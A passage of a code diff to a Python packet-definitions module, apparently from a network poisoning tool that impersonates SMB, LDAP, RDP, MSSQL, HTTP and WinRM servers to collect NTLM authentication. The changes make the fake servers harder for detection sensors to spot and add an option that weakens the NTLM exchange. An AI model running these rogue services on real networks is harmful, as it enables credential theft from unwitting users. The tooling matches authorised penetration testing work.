#Want to be detected that easily by xyz sensor?
self.fields["TargetPrefix"] = settings.Config.MachineName
#two last parts of the domain are the actual Domain name.. eg: contoso.com
self.fields["TargetSuffix"] = SplitFQDN[-2]
self.fields["TargetSuffix2"] = SplitFQDN[-1]
#We calculate the len for that domain...
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
# Calculate Record len.
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
#Our answer len..
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
#for now we support ldap and kerberos...
if "ldap" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
if "kerberos" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
# LLMNR Answer Packet
class LLMNR_Ans(Packet):
fields = OrderedDict([
@@ -139,6 +202,9 @@ class MDNS_Ans(Packet):
def calculate(self):
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
##### HTTP Packets #####
class NTLM_Challenge(Packet):
fields = OrderedDict([
@@ -155,22 +221,22 @@ class NTLM_Challenge(Packet):
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
@@ -254,6 +320,21 @@ class IIS_NTLM_Challenge_Ans(Packet):
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 \r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
@@ -463,22 +544,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
@@ -521,7 +602,7 @@ class SMTPGreeting(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("Message", settings.Config.DomainName+" ESMTP"),
("CRLF", "\x0d\x0a"),
])
@@ -529,7 +610,7 @@ class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("Message0", settings.Config.DomainName),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
@@ -713,7 +794,7 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
@@ -724,22 +805,22 @@ class LDAPNTLMChallenge(Packet):
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "SMB12"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
@@ -747,7 +828,7 @@ class LDAPNTLMChallenge(Packet):
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
@@ -782,6 +863,86 @@ class LDAPNTLMChallenge(Packet):
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##cldap
class CLDAPNetlogon(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x9D"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x02"),
("MessageIDASNStr", "\x00\xc4"),#First MsgID
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),
("Status", "\x04"),
("StatusASNLen", "\x00"),
("StatusASNStr", ""),
("SequenceHeader", "\x30"),
("SequenceHeaderLenOfLen", "\x84"),
("SequenceHeaderLen", "\x00\x00\x00\x8b"),
#Netlogon packet starts here....
("PartAttribHead", "\x30"),
("PartAttribHeadLenofLen", "\x84"),
("PartAttribHeadLen", "\x00\x00\x00\x85"),
("NetlogonHead", "\x04"),
("NetlogonLen", "\x08"),
("NetlogonStr", "Netlogon"),
("NetAttribHead", "\x31"),
("NetAttribLenOfLen", "\x84"),
("NetAttribLen", "\x00\x00\x00\x75"),
("NetAttrib1Head", "\x04"),
("NetAttrib1Len", "\x73"),
("NTLogonOpcode", "\x17\x00"),#SamLogonRespEx opcode
("NTLogonSbz", "\x00\x00"),
("NTLogonFlags", "\xFD\xF3\x03\x00"),
("NTLogonDomainGUID", "\x3E\xDE\x55\x61\xF0\x79\x8F\x44\x83\x10\x83\x63\x08\xD4\xBB\x26"),
("NTLogonForestName", "\x04\x73\x6D\x62\x33\x05\x6C\x6F\x63\x61\x6C"),
("NTLogonForestNameNull", "\x00"),
("NTLogonDomainNamePtr", "\xc0"),
("NTLogonDomainNamePtrOffset", "\x18"),
("NTLogonPDCNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonPDCNBTTLDPtr", "\xC0\x18"),
("NTLogonDomainNameShort", "\x04\x53\x4D\x42\x33"),
("NTLogonDomainNameShortNull", "\x00"),
("NTLogonDomainNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonDomainNBTNameNull", "\x00"),
("NTLogonUsername", "\x00"),
("DCSiteName", "\x17\x44\x65\x66\x61\x75\x6C\x74\x2D\x46\x69\x72\x73\x74\x2D\x53\x69\x74\x65\x2D\x4E\x61\x6D\x65\x00"),#static 95% PDC use this.
("ClientSiteNamePtr", "\xc0"),
("ClientSiteNamePtrOffset", "\x50"),
("NTLogonVersion", "\x05\x00\x00\x00"),
("LMNTToken", "\xff\xff"),
("LM2Token", "\xff\xff"),#End netlogon.
("CLDAPMessageIDHeader", "\x30\x84\x00\x00\x00\x11"),
("CLDAPMessageIDInt", "\x02"),
("CLDAPMessageIDlen", "\x02"),
("CLDAPMessageIDStr", "\x00\xc4"),#Second MsgID
("SearchDone", "\x65\x84\x00\x00\x00\x07"),
("SearchDoneMatched", "\x0A\x01\x00\x04\x00\x04\x00"),
])
def calculate(self):
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
###### Netlogon + Search Successfull Len
CalculateNetlogonLen = str(self.fields["NTLogonOpcode"])+str(self.fields["NTLogonSbz"])+str(self.fields["NTLogonFlags"])+str(self.fields["NTLogonDomainGUID"])+str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])+str(self.fields["ClientSiteNamePtr"])+str(self.fields["ClientSiteNamePtrOffset"])+str(self.fields["NTLogonVersion"])+str(self.fields["LMNTToken"])+str(self.fields["LM2Token"]) #115 now.
CalculateNetlogonOffset = str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])
##### LDAP ASN Len Calculation:
self.fields["NetAttrib1Len"] = StructWithLenPython2or3(">B", len(CalculateNetlogonLen))
self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2)
self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18)
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24)
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32)
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42)
######
self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1)
##### SMB Packets #####
class SMBHeader(Packet):
fields = OrderedDict([
@@ -980,20 +1141,21 @@ class SMBNegoAnsLM(Packet):
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfc\x3e\x01\x00"),
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("Systemtime", SMBTime()),
("Srvtimezone", "\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", ""),
("Domain", "SMB"),
("Domain", settings.Config.Domain),
("DomainNull", "\x00\x00"),
("Server", "SMB-TOOLKIT"),
("Server", settings.Config.MachineName),
("ServerNull", "\x00\x00"),
])
def calculate(self):
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le').decode('latin-1')
self.fields["Server"] = self.fields["Server"].encode('utf-16le').decode('latin-1')
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
@@ -1009,11 +1171,11 @@ class SMBNegoAns(Packet):
("MaxRawBuff", "\x00\x00\x01\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\xf3\x01\x80"),
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
("SystemTime", SMBTime()),
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("Guid", urandom(16).decode('latin-1')),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
@@ -1038,7 +1200,7 @@ class SMBNegoAns(Packet):
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
])
def calculate(self):
@@ -1076,7 +1238,7 @@ class SMBNegoKerbAns(Packet):
("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"),
("Bcc", "\x57\x00"),
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
("Guid", urandom(16).decode('latin-1')),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x5b"),
("ThisMechASNId", "\x06"),
@@ -1110,7 +1272,7 @@ class SMBNegoKerbAns(Packet):
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
("NegHintFinalASNStr", settings.Config.MachineNego),
])
def calculate(self):
@@ -1172,7 +1334,7 @@ class SMBSession1Data(Packet):
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
@@ -1183,22 +1345,22 @@ class SMBSession1Data(Packet):
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNtWorkstationName",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
("NTLMSSPNTLMPadding", ""),
@@ -1208,10 +1370,9 @@ class SMBSession1Data(Packet):
("NativeLANTerminator","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
@@ -1377,8 +1538,8 @@ class SMB2NegoAns(Packet):
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SystemTime", SMBTime()),
("BootTime", SMBTime()),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x00\x00\x00\x00"),
@@ -1418,7 +1579,7 @@ class SMB2NegoAns(Packet):
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2008@SMB3.local"),
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
])
def calculate(self):
@@ -1493,7 +1654,7 @@ class SMB2Session1Data(Packet):
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
@@ -1504,25 +1665,25 @@ class SMB2Session1Data(Packet):
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNtWorkstationName",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
@@ -1662,19 +1823,19 @@ class RDPNTLMChallengeAnswer(Packet):
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("ParserHeadASNLen1", "\xfa"),
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("MessageIDASNLen2", "\xf7"),
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("OpHeadASNIDLen", "\xf4"),
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("ASNLen01", "\xf1"),
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
("SequenceHeaderLen", "\xee"),
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
@@ -1693,22 +1854,22 @@ class RDPNTLMChallengeAnswer(Packet):
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
@@ -1755,4 +1916,343 @@ class RDPNTLMChallengeAnswer(Packet):
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
#######################################RPC#################################################
class RPCMapBindAckAcceptedAns(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0c"),#Bind ack.
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x02\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
